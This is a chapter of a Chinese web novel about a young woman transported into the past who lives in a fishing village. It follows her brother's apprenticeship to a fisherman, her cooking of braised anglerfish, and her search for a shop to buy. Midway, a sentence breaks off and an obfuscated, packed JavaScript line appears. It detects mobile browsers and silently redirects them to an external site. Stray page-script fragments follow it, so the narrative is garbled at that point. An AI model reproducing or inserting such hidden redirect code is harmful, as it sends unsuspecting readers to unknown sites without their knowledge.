云楚沅用鱼塘搞养殖一事,经过林三嫂和林四嫂的大肆宣扬,搞得小渔村人尽皆知。
村民们纷纷前去围观,又碍于门神似的阿汤的冷脸,都不敢靠太近。
他们已经从林家人的口中得知,阿汤收了云楚河做徒弟,于汤这小子能一个人摸爬滚打地长大,可不是个善茬。
不少渔民都见过几年前阿汤在海上智斗鲛鲨的场景,印象深刻。
那时的阿汤宛如凶神恶煞的厉鬼,一边用双脚稳住木船,避免被鲛鲨掀翻,一边用鱼叉狠狠刺入鲛鲨的身躯,一人一鲨的激战惊心动魄。
最后,阿汤以满身的深可见骨的伤痕,换来了胜利,远处小心观望的同村人,见鲛鲨死了,才敢过去将重伤昏迷的阿汤救下。
自那时起,村里便没有人敢找阿汤麻烦,大家见了他都绕道走。
如今阿汤常挂在腰间的匕首,就是用当年杀死的那只鲛鲨的皮做成的刀鞘。
“师傅,这些鱼都收拾好了,我先回家了。”
云楚河甩了甩手上的血水,他每日跟着阿汤捕捞回来后,会帮着卸货,再学学宰杀活鱼的技巧。
用钝器敲击鱼头将其敲晕,再用刀锋逆向刮去鱼鳞,挖去鱼鳃,划开鱼肚去内脏时要避免弄破鱼胆。
学了几日后,他的刀工已经十分精湛,以后阿姐做海鲜时,他也能为她打下手了。
“楚河,这两条鱼你拿回去吧,叫你长姐给你做鱼汤补补。”阿汤挑了两条最大的黄花鱼,递给云楚河。
云楚河接过后,欢天喜地地跑走了,心想,这师傅拜得太值了!
“阿姐!阿姐,我回来啦!”
在灶房生火的云楚沅,老远就听见了自家小弟的大嗓门,她摇头失笑,这孩子总是这样风风火火的,也不知又碰上什么好事了。
“阿姐,瞧我带回了什么。”云楚河蹭的一下跨过厨房门槛,扬了扬手里提着的用草绳系起来的两条肥鱼。
“哟,这大黄花鱼是你捞来的?”云楚沅伸手接过鱼,掂量了一下,嘿,忒沉。
云楚河嘿嘿笑道:“是我和师傅一起捞的。”
云楚沅翻了个白眼:“少来了,就你这点小力气,顶多也就帮你师傅扯扯渔网。”
云楚河不服气地撸起袖子,大声说道:“阿姐,我胳膊上的肉可是紧实了许多。”
“我瞧着也没二两肉,你有没有变壮我不知道,但你倒是黑了不少。”云楚沅调笑道。
“哼!”云楚河撅着嘴放下袖子,“师傅说要你给我补补身子呢,肯定是我平日里吃的不够多。”
他回忆起阿姐的好厨艺,殷勤地开口:“阿姐,今日晚膳做什么好吃的?我要多吃两碗。”
云楚沅端起桌上的木盆叫他朝里面看。
云楚河好奇地探头,瞧清后又吓得后退两步,“这是什么怪物!”
“小弟,你不是扬言要吃两大碗吗?见了它的真容,还有胃口吗?”云楚沅促狭一笑。
云楚河脸色纠结,最终还是决定选择相信阿姐的手艺,“我要吃!不过这鱼的脑袋上是什么东西?”他用手拨了拨鮟鱇鱼头上的小灯笼。
“这个小灯笼能发光,是鮟鱇鱼用来吸引海里的小鱼的,引诱它们上当,再吃掉它们。”云楚沅把鱼放置到案板上,准备处理它。
云楚河自告奋勇:“阿姐,让我来处理这条丑鱼。”
“把它的牙齿剪掉,清除内脏时留下鱼肝和鱼肚,这两样是精华。”云楚沅在一旁指导。
面色严肃的云楚河仿佛要完成一件大事,他磨刀霍霍,剪开鱼皮,开膛破肚,剔除内脏,手上动作一气呵成,看得云楚沅眼花撩乱。
“不错嘛,小弟学有所成呀。”
云楚河一脸骄傲地仰起头,“阿姐,以后你做鱼,我来帮你杀。”
“好,你先出去和清儿玩一会吧,阿姐给你们做酱烧鮟鱇鱼,保准你吃了香到吞舌头。”
云楚沅将鱼肉切成块,加姜片焯水去腥,冷水将其冲洗沥干。
待锅中的油温升高,云楚沅将剁好的鱼块小心翼翼地放入锅中。鱼肉与热油碰撞,发出“嗞啦滋啦”的声响,鱼身渐渐变成金黄,散发出诱人的香味。
这时,云楚沅将提前备好的葱段、姜片、蒜瓣倒入锅中,让它们辛辣的气味在热油中释放出来,和鱼肉的鲜香交织在一起,发生奇妙的反应。
云楚沅舀两勺黄豆酱放入陶碗中,加入酱油和豉汁用来增鲜上色,再添少许黄酒去腥,把所有醇厚的调味料搅和均匀,缓缓倒入锅中。
刹那间,一股酱香弥漫开来,浓郁的汤汁包裹着鮟鱇鱼,仿佛为鱼肉块披上了一层深色外衣。
小火慢炖,让鮟鱇鱼充分吸收酱汁的浓郁味道,使每一丝鱼肉都浸透进汤汁。在此期间,云楚沅会不停地翻动鱼块,确保其受热均匀,彻底入味。
随着时间的流逝,锅中的汤汁渐渐变得浓稠,紧紧地吸附在鱼肉上,透出油亮诱人的光泽。临出锅前,撒上一把翠绿的葱花点缀,为这道美味佳肴收个尾。
“小弟,小妹,开饭了!”
灶房传出一道嗓音轻柔的吆喝声,云楚清赶紧收起针线,云楚河一把丢开劈柴的斧头,两人动作整齐划一地奔向水缸前,打水洗手。
“哟,你们两个还挺自觉。”走出来的云楚沅瞧见两人乖乖听话,严格遵循饭前洗手的规矩,心里十分欣慰。
穿越到这个小渔村,云楚沅觉得最幸运的事,莫过于多了两个懂事贴心的弟弟妹妹。
她在现代时是家里最小的孩子,向来是被照顾的那个,鲜少有需要她照顾别人的时候,如今也算是体验了一把当家做主的感觉。
想到穿越前的家庭,云楚沅情绪有些失落,这段时日的忙碌,让她刻意回避了一个问题。
她在现代的身体应该是一命呜呼,老天眷顾她,让她有了重活一世的机会,只不过怕是要让家人伤心难过了。
唉,希望父母一切安康,只能靠哥哥姐姐们替她尽孝心了。
“阿姐,你怎么了?”云楚河正等着阿姐先动筷,一下子注意到长姐不太对劲,仿佛有什么伤心事
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716727|173747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
云楚沅勉强笑了笑:“没什么,刚才有沙子吹进眼里了,快吃吧。”
云楚河不明所以地挠了挠头,咱们家不是离海滩有段距离吗?今儿个也没有大风,沙子都能吹到这儿来了吗?
想不出所以然,他的心思又放到桌上的吃食上了。
这道酱烧鮟鱇鱼,色泽红亮,酱香扑鼻。
云楚河夹起一块鱼肉放入口中,细细品尝,鮟鱇鱼的肉紧实而不柴,入口即化,酱汁的浓郁与鱼肉的鲜甜巧妙融合,仿佛在舌尖上放了一场盛大的味觉烟花。
大海的馈赠与绝佳的手艺完美结合,在这一口之中达到了极致。
“这鮟鱇鱼长得丑,味道却很不错。”云楚清吃得欢快,已然对它的外貌释怀了。
云楚河赞同道:“人不可貌相,鱼也是。”
云楚沅对他们俩这副有奶就是娘的样子忍俊不禁,不是他们嫌弃的时候了。
“鮟鱇鱼的鱼肚和鱼肝也很好吃,你们尝尝。”云楚沅给他们一人夹了一块,鱼肚有嚼劲,鱼肝细腻鲜美,这两样东西的营养价值也很高。
“楚河,你不是想补一补吗?多吃些鱼肚和鱼肝。”
云楚河一听,赶紧多夹了两块,他想长成阿汤师傅那样,有一身黝黑的腱子肉,看起来就身强体壮的。
用过晚饭后,云楚清回到屋里绣起了手帕,云楚河一溜烟跑出了家门,不知干什么去了。
云楚沅闲来无事,决定将那两条杀好的大黄花鱼腌起来,毕竟一时半会吃不完,放坏了就不好了。
黄花鱼的鱼身和腹腔都涂抹上粗盐,肉厚的鱼背处需要充分覆盖,将其悬挂于通风的阴凉处,晾个两三天就差不多能腌好。
晚间入睡前,云楚沅坐在桌前,点着蜡烛,仔细数着存放在瓦罐里的银子,总共五十二两,想要盘下县城里的一间店铺,绰绰有余。
如今,他们家的欠债都在林家身上,共计一百五十两,待开了食肆之后,她有信心能尽快还上。
翌日清晨,云楚沅揣上全部家当,前往临海县的牙行,请租赁房屋的牙人为她寻一间铺子。
“小姐是要买铺子,并非租铺子是吗?”牙人略微思索,用手捋着下巴上那一撮短须,目光炯炯有神,带着一种精明能干的气质。
“怎么?不好找吗?”云楚沅忐忑不安地问道,万事俱备只欠东风,临门一脚了,总不至于寻不到做生意的店铺吧。
“非也,只是愿意整间卖出的铺子不是位置偏,就是房屋破旧,实在不是好选择啊。”牙人向她解释。
临海县繁华一点的街道,统统掌管在以徐家为首的富商手里,而且大生意都被他们垄断了,没权没势的平头老百姓怎么可能从他们手里讨到好处。
牙人没有直接拒绝,因为他最近收到了一则消息,东街一家卤味铺子被徐家的湘香馆使手段骗去了卤肉方子。
他们一家人准备搬离临海县,想要绝卖房子,唯一的要求就是不能卖给富绅,普通百姓没那个银钱来买,这云姑娘倒是个不错的接手者。